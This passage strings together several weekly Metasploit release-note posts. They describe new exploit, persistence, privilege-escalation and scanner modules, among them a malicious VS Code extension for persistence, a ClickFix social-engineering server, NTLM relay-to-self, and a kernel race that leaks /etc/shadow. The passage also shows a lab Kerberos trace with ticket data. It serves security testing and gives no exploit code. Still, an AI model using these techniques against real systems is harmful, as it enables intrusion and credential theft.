  • #21579 from zeroSteiner - This adds a few extra fields to some MCP Server tools to align with recent RPC changes in the framework. The msf_service_info tool now has resource and parents fields, the msf_vulnerability_info tool now has a resource field, the msf_note_info tool now has a data field, and the msf_credential_info tool now has new realm_key and realm_value fields.
  • #21580 from Pushpenderrathore - This adds a Certificate Signing Request (CSR) Trace to the CertificateTrace functionality. Users can now opt to see the CSR get printed when requesting certificates from AD CS.
  • #21637 from eve0805 - This adds improved levels of granularity to the KerberosTicketTrace functionality. Users can now choose to print the full kerberos trace output, only the tickets or only the metadata.

Bugs fixed (2)

  • #21588 from vinicius-batistella - Fix a bug in the format dispatcher where although we can generate AARCH64 windows exe files, we fail trying to do so because the dispatcher does not properly handle the request by the user.
  • #21651 from jheysel-r7 - This fixes a bug in the Role Based Constrained Delegation (RBCD) module that prevented Access Control Entries (ACEs) from being removed due to a type mismatch while comparing Security Identifiers (SIDs).

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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Weekly Metasploit Update: Modules for SMB-to-Meterpreter, Peyara Remote Mouse RCE exploit, and more

It's Time to Upgrade Your SMB Session

This week, Metasploit contributor Dean Welch has added an SMB to Meterpreter session upgrade module. It uses PsExec to facilitate the upgrade. Users can load the module with use windows/manage/smb_to_meterpreter and specify the session number they wish to upgrade. This functionality is also available with the command sessions -u <session_id>. This work is part of an overarching effort to enable a variety of session types to be upgraded to Meterpreter when possible.

New module content (3)

Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution

Author: tmrswrr

Type: Exploit

Pull request: #21491 contributed by capture0x

Path: windows/misc/peyara_remote_mouse_rce

Description: Adds an exploit module for Peyara Remote Mouse v1.0.1 unauthenticated RCE.

Linux Execute Command

Authors: bcoles bcoles@gmail.com and modexp

Type: Payload (Single)

Pull request: #21239 contributed by bcoles

Path: linux/loongarch64/exec

Description: Adds a new linux/loongarch64/exec command payload.

SMB to Meterpreter Upgrade via PsExec

Author: Dean Welch

Type: Post

Pull request: #21581 contributed by dwelch-r7

Path: windows/manage/smb_to_meterpreter

Description: Adds the ability to upgrade authenticated SMB sessions to Meterpreter sessions using PsExec techniques.

Enhancements and features (1)

  • #21527 from zeroSteiner - Adds authentication support to the MCP server's HTTP transport by default.

Bugs fixed (2)

  • #21618 from zeroSteiner - Fixes a crash when running the scanner/discovery/udp_sweep module on Windows environments.
  • #21624 from adfoster-r7 - Fixes a bug with SSH session's debug information showing the incorrect value localuser @ instead of ssh_user @ ssh_ip.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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Weekly Metasploit Update: Modules for Audiobookshelf, LiteLLM, Next.js, Dalfox and more

Help shape the future of Metasploit Framework

We are planning future work in relation to the evasion capabilities present in Metasploit Framework, and how they function/are presented to users. We are currently accepting responses to our feedback form, which means that you can shape the future of how evasive capabilities are implemented in Metasploit Framework. The proposal for the changes can be found here, and you can submit your responses to the form here. The form will stop accepting responses on the 1st of July, 2026.

New module content and improvements have also been added this week. This includes a Next.js Middleware Authorization Bypass scanner, LiteLLM Proxy SQL Injection, an unauthenticated API authentication bypass scanner for Audiobookshelf, a deserialization RCE in Dalfox, and improvements to service and host reporting in bruteforce-related modules.

New module content (4)

Audiobookshelf Unauthenticated API Authentication Bypass Scanner

Authors: Kenneth LaCroix and swiftbird07

Type: Auxiliary

Pull request: #21565 contributed by kenlacroix

Path: scanner/http/audiobookshelf_auth_bypass

AttackerKB reference: CVE-2025-25205

Description: Adds audiobookshelf_auth_bypass, a detection module for CVE-2025-25205 — an unauthenticated API authentication bypass in Audiobookshelf (self-hosted audiobook/podcast server), affecting versions 2.17.0 – 2.19.0 (fixed in 2.19.1).

BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner

Authors: Kenneth LaCroix and Tencent YunDing Security Lab

Type: Auxiliary

Pull request: #21567 contributed by kenlacroix

Path: scanner/http/litellm_proxy_sqli

AttackerKB reference: CVE-2026-42208

Description: Adds auxiliary/scanner/http/litellm_proxy_sqli, a detection module for CVE-2026-42208 (CVSS 9.3, on the CISA KEV list) — a pre-authentication SQL injection in BerriAI LiteLLM proxy.

Next.js Middleware Authorization Bypass Scanner

Authors: Kenneth LaCroix, Rachid Allam, and Yasser Allam

Type: Auxiliary

Pull request: #21566 contributed by kenlacroix

Path: scanner/http/nextjs_middleware_auth_bypass

AttackerKB reference: CVE-2025-29927

Description: Adds nextjs_middleware_auth_bypass, a detection module for CVE-2025-29927 (CVSS 9.1) — an authorization bypass in self-hosted Next.js applications.

Dalfox Found-Action Deserialization RCE

Authors: Emmanuel David and Takahiro Yokoyama

Type: Exploit

Pull request: #21493 contributed by Takahiro-Yoko

Path: linux/http/dalfox_server_rce_cve_2026_45087

AttackerKB reference: CVE-2026-45087

Description: This adds an exploit module for Dalfox Server versions <= 2.12.0 which are vulnerable to an unauthenticated RCE tracked as CVE-2026-45087. The vulnerability allows attackers to send arbitrary commands via found-action post parameter which gets deserialized and run in the context of the user running the server.

Enhancements and features (2)

  • #21396 from g0tmi1k - This makes improvements to the auth_brute mixin. It adds report_host and report_service calls to the mixin and removes duplicate printing of IP:PORT in the print_brute statements.
  • #21562 from zeroSteiner - Updated the usage of rex-socket's recvfrom method to align with the standard library implementation. This also allows rex-socket to now be used as a drop-in replacement for Ruby's UDPSocket.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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Weekly Metasploit Update: NTLM Relay Priv Esc, MCP Server Integration, Paperclip AI RCE Chain, and more

This week's release includes five new modules, including a full unauthenticated RCE chain for Paperclip AI and a VS Code extension persistence technique. On the post-exploitation side, the new windows/local/ntlm_relay_2_self module coerces the local machine account to authenticate via OpenEncryptedFileRaw (WebDAV), relays that NTLM authentication to a Domain Controller's LDAP service, then uses the resulting LDAP session to write Shadow Credentials and obtain a Kerberos service ticket as Administrator via S4U2Proxy, enabling PsExec back to itself for SYSTEM access.

On the enhancement side, the new MCP server plugin lets AI tools assist operators directly within a running msfconsole instance, and module check codes now return richer detail for users.

New module content (5)

Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)

Authors: Sagilayani https://github.com/sagilayani and h00die-gr3y h00die.gr3y@gmail.com

Type: Exploit

Pull request: #21547 contributed by h00die-gr3y

Path: linux/http/paperclipai_unauth_rce_cve_2026_41679

AttackerKB reference: CVE-2026-41679

Description: Adds an exploit module for CVE-2026-41679 which exploits Paperclip. An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. The entire chain is six API calls.

Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload

Author: bootstrapbool bootstrapbool@gmail.com

Type: Exploit

Pull request: #21371 contributed by bootstrapbool

Path: multi/http/xerte_unauthenticated_mediaupload

AttackerKB reference: CVE-2026-41459

Description: Exploits authentication failure (CVE-2026-34413), extension blacklist (CVE-2026-34415), and path traversal (CVE-2026-34414) vulnerabilities in Xerte Online Toolkits versions 3.15 and earlier.

VS Code Extension Persistence

Author: h00die

Type: Exploit

Pull request: #21465 contributed by h00die

Path: multi/persistence/vscode_extension

Description: Adds a new persistence module that achieves persistence by installing a malicious extension into a user's VS Code extensions directory. The next time the target opens VS Code, the extension executes and delivers a shell back to the attacker.

NTLM Relay to Self (HTTP to LDAP) - Post Exploitation

Author: jheysel-r7

Type: Exploit

Pull request: #21430 contributed by jheysel-r7

Path: windows/local/ntlm_relay_2_self

Description: Adds a module that exploits the NTLMRelay2Self attack. It requires a low-privilege user session on a Windows host.

Linux Kernel __ptrace_may_access() Exit Race Change File Disclosure

Authors: 0xdeadbeefnetwork and bhaskarbhar

Type: Post

Pull request: #21472 contributed by bhaskarbhar

Path: linux/gather/cve_2026_46333_chage

AttackerKB reference: CVE-2026-46333

Description: Adds a post module that leverages CVE-2026-46333, a vulnerability in the Linux kernel whereby a race condition exists when tearing down a process. A local attacker can exploit this to obtain file handles they would not otherwise have access to. In the exploit, this is leveraged to leak the contents of the /etc/shadow file.

Enhancements and features (7)

  • #21254 from golem445 - Nmap imports will include domain name if supplied by the user for the scan.
  • #21259 from g0tmi1k - Adds a number of enhancements to msfconsole's search functionality by cleaning up some inconsistencies and giving users the option to hide the child elements of search results with the -c flag. Also introduces two global options, SearchSort and SearchChildMode, that users can set and forget in order to control ascending/descending search results and whether or not child items appear under search results respectively.
  • #21367 from g0tmi1k - Adds a number of enhancements to the rexec_login module including more detailed output, a check for an rDNS failure, an update to the module description, and removal of duplicate IP:PORT printing.
  • #21454 from adfoster-r7 - Updates many modules by adding additional details to the check codes that are returned by the #check method, which provides additional information for the user. Also updates the requirements of new modules to contain this extra information moving forward.
  • #21512 from adfoster-r7 - Updates the Metasploit MCP tool to expose note information on Metasploit modules, as well as host comments.
  • #21537 from dwelch-r7 - Adds a plugin to start and stop a Model Context Protocol (MCP) server within msfconsole. When compared to the standalone msfmcpd tool, this has the significant advantage of automatically loading the RPC server within the context of a running framework instance which enables AI tools to assist the operator without needing to restart Metasploit.
  • #21542 from h00die - Updates the scanner/redis/redis_server module to output server INFO details as a readable table.

Bugs fixed (4)

  • #21441 from dwelch-r7 - Improves the MCP server lifecycle control and enables graceful shutdowns by transitioning from Rack's handler to direct Puma server API management.
  • #21564 from adfoster-r7 - Fixes a crash in the smb_version module when run against SMBv1 targets.
  • #21570 from sjanusz-r7 - Fixes an issue where it was not possible to generate ARM Big Endian payloads.
  • #21571 from dwelch-r7 - Deleted files are now excluded when running msfconsole reload commands.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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Weekly Metasploit Update: New Kerberos/Certificate tracing options, and multiple new modules

New Tracing Options

As hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to deliver. Building on the previous pattern of HttpTrace comes two new options KerberosTicketTrace and CertificateTrace. These options, when enabled, will enable debugging output of Kerberos tickets and Certificates that are both sent and received by applicable modules. Now when things aren’t going quite right, users have new levers to reach for to inspect what’s happening under the hood.

For example, to inspect exactly what’s happening when using the auxiliary/admin/kerberos/get_ticket module:

msf auxiliary(admin/kerberos/get_ticket) > set KerberosTicketTrace true 
KerberosTicketTrace => true
msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options:
    Value: 1082195984
    Flags:
      - FORWARDABLE
      - RENEWABLE
      - CANONICALIZE
      - RENEWABLE_OK
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 6831592
  Encryption Type:
    - 18 (AES256)
    - 17 (AES128)
    - 23 (RC4_HMAC)
    - 3 (DES_CBC_MD5)
    - 16 (DES3_CBC_SHA1)
####################
# Kerberos Response: KRB-ERROR
####################
Protocol Version: 5
Message Type: 30 (KRB-ERROR)
Server Time: 2026-06-11T18:21:36Z
Server Microseconds: 862696
Error Code:
  Name: KDC_ERR_PREAUTH_REQUIRED
  Value: 25
  Description: Additional pre-authentication required
Realm: MSFLAB.LOCAL
Server Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - krbtgt
    - MSFLAB.LOCAL
Error Data: [binary 87 bytes: 30553032a103020113a22b04293027301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e747972653005a0030201173009a103020102a20204003009a103020110a20204003009a10302010fa2020400]
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 2 (PA_ENC_TIMESTAMP)
    Value: [binary 67 bytes: 3041a003020112a23a0438724f4965bd3deb1f061e807b616a09b613f59d9a6749eaee895e2ec3ed3045403cb28874acaa371681e3957a3ec23879141411ba788886f3]
  Entry[1]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options: 1350565888
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 7068778
  Encryption Type:
    - 18 (AES256)
    - 23 (RC4_HMAC)
####################
# Kerberos Response: AS-REP
####################
Protocol Version: 5
Message Type: 11 (AS-REP)
Pre-Authentication Data:
  Entry[0]:
    Type: 19 (PA_ETYPE_INFO2)
    Value: [binary 34 bytes: 3020301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e74797265]
Client Realm: MSFLAB.LOCAL
Client Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - smcintyre
Ticket:
  Ticket Version Number: 5
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Encrypted Part:
    Encryption Type: 18 (AES256)
    Key Version Number: 2
    Cipher: [binary 1098 bytes: a3b825bd279344fd0bc454654f7906e31c8f4918c7c69319515e6a722515b55da36e2ae26f107d9f6278b029ba4c1b937a8a4e9df04f4a54da43794b2216fd5d7762582e94e3aa72fd14bfa0cfb9ff5c9a138acecd57351ff7ca98a9d7d890445316b04359e9210f93ba72c578a1605fb5502ba00fe67d9b55417e356e6400ef3bd07b9e1a8e4aedeb62249bef9f56f0cda3a30969d33fe6999a4855ae8f666b82fdff29047b14d4bcd77b31a6b9ce1ee3a4425cd197250af0cc878995afbeb4de42fb7e55d6095ab27ab3fa7f0afb0010b8e8f5e721a3d0417c7342df77619f6520e726652dc4417d2dbc044529236557441f87a50a7188242fb177e5f1bd45d31902c877d51cd05af7215e520c410e9b7036bc78c1ddad458b0ad99832c4fdd6f8f523ca4241aee8ebce4a0000202ebfb870761833feffc2c248683751a11d556bba4c59b20c7a1627b187d4d4679e19b1928f3ab7edeef3f01b459324178a9e49976519b58d6d7164b29c77e20625c4e710e3bbb0bb32452d4bdb9ed0c3e9873b9511cadf36fb0b372af5f67310319f160c0242d2fff1095bc467c4eb6da0382ab0587d519e5390e56eacb6db4f98c2c25b7ac22edf40db2e0e0eca03dfeba48327916a8caa85c382d04dcea16116c76132dcbfc168b7e3435a37f812f479f1e8309b124a9dcbac1e2ae83063a5e49c1ea584f13f64832c713577f07b3229e83c0fe73c3dc350640a69ea643ef24b66ed17114c262d3e5cdddb8182d8da49173e597b23d94f8ef652433713bf1d5e91c7f984945940d27755584137b00baa9696cdd121c641870830ffc86c8f9989254b6b804912c4989014b3f849cd02e6b06d3cc6401fd3f830cfcd36a0ecf31309d5b6dc82a65b427818694002bcf5fac9c936e1d64205a397126f39f684903803a5405baff041881339c4c8d325a2f446178b66383c209f3dba61bdda626f6e6d63c473638191e447d58aebfcb5a98104c2f96afa3283ac3aca675937afd7c497f1bd41a3dd1b52a6a16db791421a4ab9189d9fa0d610713d9c1eeb2f9c46d6ea197f48e2e643fe773ece0855c63b44b6020044fb7cc1396b26b4747941484b73108b7c1c90e2670cf723033274cc24ceb66a7054b35a9653cd7391a4f81b2c977ee251c9295e47be46b14c66b4031c6758415e543153bde190af0f1abe0f207d84145e3521850f89765997ab72cccaaeb4c5ce8b8be9b33712090d59424c2517e4cd539740750f5792f171fec2b4e4b4bc00cb77bc308abe1b70c75684734aa9ef03c4b419d2e10b4ea6229faf5a4b2af9483156ea32bc4b298f158067ac45afd5c812c407bda57880434cb93a60ac19799004a9adc72d845401ebb8e2a31ed0edf539233d293b1141bb49b36b6475d87c0fd114d97a946e82e39ed58e6c2e0d72826059600d412bd05aaf0af5602ade2f1ff6db363ec33e25756c4bc417b248344ba19ecd8d80d2cd2c2ff32aa355c22ee96166fc7043204dcc48b5595416c4312855c7d6e31d422c93c1d6f3df1a5890b45fc55f1b757b8e]
Encrypted Part:
  Encryption Type: 18 (AES256)
  Key Version Number: 3
  Cipher: [binary 271 bytes: 357637faf370a69ec4780f1fc4308e3d639e59ebbdb5d208cf6df75470bcefdd5210a098aa716055f758d9ec58674abc4b56cec2923329309e2be192db3ee1a63c6f0133a96c440707a0f29f2e075f90c54e2ab7626132f8e898112f81cbde6905d992d9ec6a4c26087043ea8f97c1a876354c47b4a6a76e3321f42edc483530d5248f8daa01db15ab019ac4179dfdb5f6d6c1f2666b9983cd02989612acdad2b2efe352fb9708a080fd304d17a87ff1e152dc8ca981de6cff418f38c5c28612766bfc13fbac51bad1a01fcd7aae544c7d839124e1bce745d20d06c8aca5c7125afe069e8d5299a10cd27b392bd8ae3893181f132f3d49dd746c6c70c6d2b651df998c59be84f2d5b83e5b3c0a71b2]
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20260611142136_default_192.168.159.10_mit.kerberos.cca_918073.bin
####################
# Kerberos Credential: TGT
####################
Creds: 1
  Credential[0]:
    Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
    Client: smcintyre@MSFLAB.LOCAL
    Ticket etype: 18 (AES256)
    Key: 58b969939485b53dee75e4399253524d132cc2ca145f4da4e4951c04a843e544
    Subkey: false
    Ticket Length: 1188
    Ticket Flags: 0x50e10000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
    Addresses: 0
    Authdatas: 0
    Times:
      Auth time: 2026-06-11 14:21:36 -0400
      Start time: 2026-06-11 14:21:36 -0400
      End time: 2026-06-12 00:21:36 -0400
      Renew Till: 2026-06-12 14:21:36 -0400
    Ticket:
      Ticket Version Number: 5
      Realm: MSFLAB.LOCAL
      Server Name: krbtgt/MSFLAB.LOCAL
      Encrypted Ticket Part:
        Ticket etype: 18 (AES256)
        Key Version Number: 2
        Cipher:
          o7glvSeTRP0LxFRlT3kG4xyPSRjHxpMZUV5qciUVtV2jbiribxB9n2J4sCm6TBuTeopOnfBPSlTaQ3lLIhb9XXdiWC6U46py/RS/oM+5/1yaE4rOzVc1H/fKmKnX2JBEUxawQ1npIQ+TunLFeKFgX7VQK6AP5n2bVUF+NW5kAO870HueGo5K7etiJJvvn1bwzaOjCWnTP+aZmkhVro9ma4L9/ykEexTUvNd7Maa5zh7jpEJc0ZclCvDMh4mVr7603kL7flXWCVqyerP6fwr7ABC46PXnIaPQQXxzQt93YZ9lIOcmZS3EQX0tvARFKSNlV0Qfh6UKcYgkL7F35fG9RdMZAsh31RzQWvchXlIMQQ6bcDa8eMHdrUWLCtmYMsT91vj1I8pCQa7o685KAAAgLr+4cHYYM/7/wsJIaDdRoR1Va7pMWbIMehYnsYfU1GeeGbGSjzq37e7z8BtFkyQXip5Jl2UZtY1tcWSynHfiBiXE5xDju7C7MkUtS9ue0MPphzuVEcrfNvsLNyr19nMQMZ8WDAJC0v/xCVvEZ8TrbaA4KrBYfVGeU5Dlbqy220+YwsJbesIu30DbLg4OygPf66SDJ5FqjKqFw4LQTc6hYRbHYTLcv8Fot+NDWjf4EvR58egwmxJKncusHiroMGOl5JwepYTxP2SDLHE1d/B7MinoPA/nPD3DUGQKaepkPvJLZu0XEUwmLT5c3duBgtjaSRc+WXsj2U+O9lJDNxO/HV6Rx/mElFlA0ndVWEE3sAuqlpbN0SHGQYcIMP/IbI+ZiSVLa4BJEsSYkBSz+EnNAuawbTzGQB/T+DDPzTag7PMTCdW23IKmW0J4GGlAArz1+snJNuHWQgWjlxJvOfaEkDgDpUBbr/BBiBM5xMjTJaL0RheLZjg8IJ89umG92mJvbm1jxHNjgZHkR9WK6/y1qYEEwvlq+jKDrDrKZ1k3r9fEl/G9QaPdG1KmoW23kUIaSrkYnZ+g1hBxPZwe6y+cRtbqGX9I4uZD/nc+zghVxjtEtgIARPt8wTlrJrR0eUFIS3MQi3wckOJnDPcjAzJ0zCTOtmpwVLNallPNc5Gk+Bssl37iUckpXke+RrFMZrQDHGdYQV5UMVO94ZCvDxq+DyB9hBReNSGFD4l2WZercszKrrTFzouL6bM3EgkNWUJMJRfkzVOXQHUPV5Lxcf7CtOS0vADLd7wwir4bcMdWhHNKqe8DxLQZ0uELTqYin69aSyr5SDFW6jK8SymPFYBnrEWv1cgSxAe9pXiAQ0y5OmCsGXmQBKmtxy2EVAHruOKjHtDt9TkjPSk7EUG7SbNrZHXYfA/RFNl6lG6C457VjmwuDXKCYFlgDUEr0FqvCvVgKt4vH/bbNj7DPiV1bEvEF7JINEuhns2NgNLNLC/zKqNVwi7pYWb8cEMgTcxItVlUFsQxKFXH1uMdQiyTwdbz3xpYkLRfxV8bdXuO
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

Stay tuned for future enhancements like KerberosTicketTraceLevel which should have verbosity toggles such as meta, ticket, and full. We’d like to thank our GSoC contributors eve0805 and Pushpenderrathore for their hard work on this project.

Upcoming Evasion Module Changes

Metasploit is currently reconsidering the UX of evasion modules whereby users are currently required to use the module, set the payload, run it, then return to their exploit and copy the generated output from the evasion module into the exploit. This is a cumbersome process and we think we can do better but before we commit to a direction, we are soliciting feedback from the community on what they think would be the best path forward. To that end, we’ve published a writeup of the options we’re considering and a form through which we’re hoping to receive feedback. The form contains 3 questions and will be open until July 1st, 2026.

New module content (1)

ClickFix Server

Authors: boredchilada and h00die

Type: Exploit

Pull request: #21212 contributed by h00die

Path: multi/misc/clickfix_server

Description: Adds a new Metasploit exploit module exploit/multi/misc/clickfix_server that runs an HTTP server to deliver a "ClickFix"-style social-engineering page which copies a generated command payload to the victim’s clipboard that they are prompted execute.

Enhancements and features (9)

  • #21008 from EclipseAditya - Adds kernel_rex_version to Msf::Post::Linux::Kernel, a new helper that extracts the upstream kernel version from uname -r and returns a Rex::Version. This eliminates an ArgumentError crash that occurred when 15+ Linux local exploit modules encountered distro-specific kernel version suffixes.
  • #21198 from Pushpenderrathore - This adds a CertificateTracePresenter, implementing certificate tracing using the presenter pattern aligned with existing Metasploit conventions. This can be enabled by setting the CertificateTrace datastore option when using modules like icpr_cert and get_ticket to see the X.509 certificates being sent and received.
  • #21222 from g0tmi1k - Standardizes the log output across many Metasploit modules to improve the host and port log details when IPv6 addresses are present.
  • #21266 from zeroSteiner - This improves how we log SMB services. If the service is detected but authentication fails, the client still logs what dialect was negotiated so we log the service even if we couldn't authenticate to it.
  • #21383 from zeroSteiner - This bumps Ruby SMB to version 3.1.21 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, modules/auxiliary/admin/smb/samba_symlink_traversal.rb can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.
  • #21466 from eve0805 - This adds introduces KerberosTicketTrace support as a datastore option for Metasploit's Kerberos authentication flows. Enabling KerberosTicketTrace allows users to see the following requests and responses as they are sent and received: AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-ERROR. Inbound messages are colored blue and outgoing messages are colored red to match the existing HttpTrace functionality. The coloring can be turned off and on with the KerberosTicketTraceColors datastore option.
  • #21528 from h00die - This PR updates Metasploit module metadata by adding Exploit-DB (EDB) reference IDs to existing modules that already have CVE references, improving cross-referencing for higher-fidelity vulnerability tracking.
  • #21535 from adfoster-r7 - Updates multiple HTTP login scanners to validate the remote target as a pre-requisite to running the login attempts.
  • #21554 from sjanusz-r7 - Make WebDAV upload PHP exploit checks less strict.

Bugs fixed (4)

  • #20618 from Aaditya1273 - Updates the MSSQL modules to no longer crash when running stored procedures like EXEC sp_linkedservers; against a remote host.
  • #21543 from sjanusz-r7 - Addresses a recent issue stemming from the recently-made changes to the webdav upload php module, where a false positive was being reported based on only the response code.
  • #21549 from 4ravind-b - Adds the missing https://github.com/advisories/GHSA-hxj9-549w-4pcq reference to modules/auxiliary/scanner/smtp/smtp_relay.rb.
  • #21557 from adfoster-r7 - Fixes a db_import crash when importing zip files.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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